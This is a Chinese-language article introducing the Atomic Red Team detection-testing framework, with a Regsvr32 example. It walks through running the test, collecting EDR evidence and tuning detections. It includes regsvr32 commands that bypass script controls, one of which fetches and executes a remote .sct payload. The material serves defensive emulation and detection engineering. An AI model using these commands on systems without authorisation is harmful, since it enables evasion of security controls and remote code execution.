Atomic Red Team：針對安防設計的新型自動化測試框架

一、前言

從安防角度來看，你如何確保已部署的安全解決方案已經調整完畢，準備迎接對手的實際挑戰？你是否正在測試新的或者已有的安全產品，以檢測安全威脅？如果你與許多團隊一樣，那麼你可能會缺乏相應的內部資源或專業知識來模擬特定對手所使用的策略或技術。這也是我們最近推出Atomic Red Team的目的所在。Atomic Red Team是一個開源測試框架，可以測試用戶的威脅檢測能力。

我們之所以稱之為「atomic（原子）」，是因為它可以作為小型組件，方便小型或大型安全團隊使用，用來模擬特定攻擊者的活動。

該框架地址為：https://github.com/redcanaryco/atomic-red-team

二、意義所在

MITRE團隊收集了大量攻擊者所使用的策略，我們認為這是目前最好的倉庫之一。MITRE團隊做了大量分類工作，為攻擊生命周期中各種情況及各種策略提供參考資料。

每個安防人員都應該學習一下MITRE ATT&CK Framework。這個框架價值非凡，有助於我們更好地理解當前許多攻擊者所具備的能力以及所使用的策略。

三、使用方法

Atomic Red Team是一個小型並且便捷的測試框架，與MITRE ATT&CK Framework相對應。每種測試用例都對應一種特定的攻擊策略。通過這種方式，我們希望安防人員能夠快速測試他們所使用的安防方案能否應對各種形式的攻擊。

使用步驟如下：

1、進行測試前，請確保已事先獲得必要的授權許可。未經授權進行測試並不是個好主意，可能會對個人記錄產生不良影響。

2、請搭建一台與真實環境相似的測試主機。請確保你所使用的事件收集及EDR（端點檢測及響應）解決方案已準備就緒，且端點已登錄並處於活躍狀態。

3、花點時間制定測試計劃或測試方案。測試計劃可以有多種形式。比如，我們可以在一個批處理文件中一次性執行所有的探測（Discovery）分支，也可以逐一運行每個分支，在運行中隨時驗證測試覆蓋率。

操作視頻如下所示：

四、測試案例：Regsvr32.exe

在這個例子中，我們會測試Regsvr32.exe的覆蓋率。

你應該花點時間，了解一下這種攻擊方法的相關知識，以理解這個測試用例的上下文背景。

在2016年春季時，我發現了這種攻擊方法，當時我需要一種方法來繞過腳本控制策略。作為經過微軟簽名的工具，這種方法沒有對應的補丁，可以輕易繞過或者規避大多數安全控制策略。

當時我發的推文如下：

五、測試階段

這個測試框架分為三個階段：

5.1 階段1：執行測試

這個測試用例執行起來非常簡單，因為所使用的工具在所有Windows工作站上都已默認安裝。

請訪問此鏈接查看詳細的測試用例。

我們提供了兩種方法來進行模擬：本地方法以及遠程方法。此外，我們也提供了一個「.sct」示例文件，以輔助運行模擬過程。

1、本地方法

對於本地模擬，我們可以使用如下命令及預先提供的.sct文件：

regsvr32.exe /s /u /i:file.sct scrobj.dlln

2、遠程方法

對於遠程模擬，你需要一個可以遠程訪問的伺服器，以抓取或下載所需的文件，或者你也可以直接使用gist地址：

regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dlln

請一定要注意執行測試所需的時間。你可以跟蹤測試時長來測量測試過程的有效性。

5.2 階段2：收集證據

你所使用的安防解決方案會觀察到什麼結果？你可能會看到用戶目錄中發生文件改動現象。你可能會檢測到regsvr32.exe向某個外部IP地址發起網路連接。代理日誌中可能存在相關記錄。你可能會觀察到Windows系統正在載入scrobj.dll。或者，你可能不會在端點上或網路中觀察到任何行為。這些情況正是我們測試的目的所在。我們希望通過測試來明確可觀測結果之間的差異，以進一步改善觀測結果。

Red Canary使用EDR感測器來提供相關信息，輔助安防人員檢測高級攻擊行為。在下文中，我們將這種感測器稱之為Carbon Black。

經過分析整理，最終檢測結果如上圖所示。我們會根據這個結果在Carbon Black中回溯與這次檢測有關的事件。

我們通常會把上圖稱之為Carbon Black Art圖。從更高層次來看，你可以可視化地觀察到攻擊的執行流程。你可以從這張圖中看到由誰啟動了什麼程序。這張圖對我們的分析過程幫助很大，但我們還需要看一下實際數據：

上圖中，我們已經收集到攻擊所使用的命令以及基本的進程信息。我們可以在這裡提取到許多屬性信息，包括一些命令行參數。

如上圖所示，我們可以進一步挖掘數據，觀察攻擊中用來獲取載荷的網路連接信息。

5.3 階段3：開發檢測方法

執行測試用例後，我們發現已部署的安防方案沒有一個能正常工作，這就是我們為什麼進行測試的原因。基於這個實驗結果以及現有的測試能力，你需要使用你所掌握的能力，在這個環境中檢測這個攻擊事件。

單獨抽出這個事件後，你可以觀察一下你所收集的所有屬性，分析哪些屬性可以用於風險警報。對這個例子而言，你可以在Carbon Black中構建一個關注列表，其中包含特定的文件路徑、exe文件、網路連接特徵等。

檢測方案構建完畢後，我們需要驗證一下這種方案是否有效，是否已經過完善優化。如果你設計的檢測方案過於寬泛，可以「檢測」到每個regsvr32.exe，你將會面臨排山倒海般的誤報率。但如果你設計的方案過於狹隘，只能檢測使用「/s /u /i」命令的regsvr32.exe，那麼只要稍微修改一下命令行參數，所有攻擊者都能繞過你的檢測方案。

為了在這兩者之間找到平衡點，你需要重新運行模擬過程，調整檢測標準，直至你找到合適的平衡點。這並不是一個嚴格的科學過程，你需要持續迭代，才能得到較好的結果。

六、目標：衡量並改進

我們的目標之一，就是根據ATT&CK矩陣來衡量我們在覆蓋率及功能方面的效果，找到仍需改進的地方。Roberto Rodriguez（@cyb3rWar0g）提供了一份電子表格以及補充文檔，我們可以以此為依據，參考MITRE ATT&CK矩陣找到我們所處的具體位置。

利用Atomic Red Team，我們可以在模擬環境中運行這些測試用例，驗證檢測方案的有效性，也可以驗證防禦控制方案是否正常工作。這份電子表格提供了豐富的信息，藍隊可根據這些知識，通過各種方法來檢測這類攻擊行為。

七、總結

通過這篇文章，我們希望你能獲得一些靈感或者具備一些能力，在自己的環境中模擬各類安全威脅。當然，還有許多情況需要模擬。我們非常歡迎大家提供反饋意見，以進一步改進這個框架。需要注意的是，通過這些測試用例，你無法百分百確保自己能檢測並防禦實際環境中的攻擊行為。然而，這個測試過程可以幫助你查找現有檢測流程中存在的不足，改善整體響應結果，使攻擊者的行動更加困難。

本文成稿離不開Red Canary團隊成員以及安全社區的共同協作。期待大家的反饋意見及貢獻力量。

如果有任何意見或建議，歡迎聯繫我們：research@redcanary.com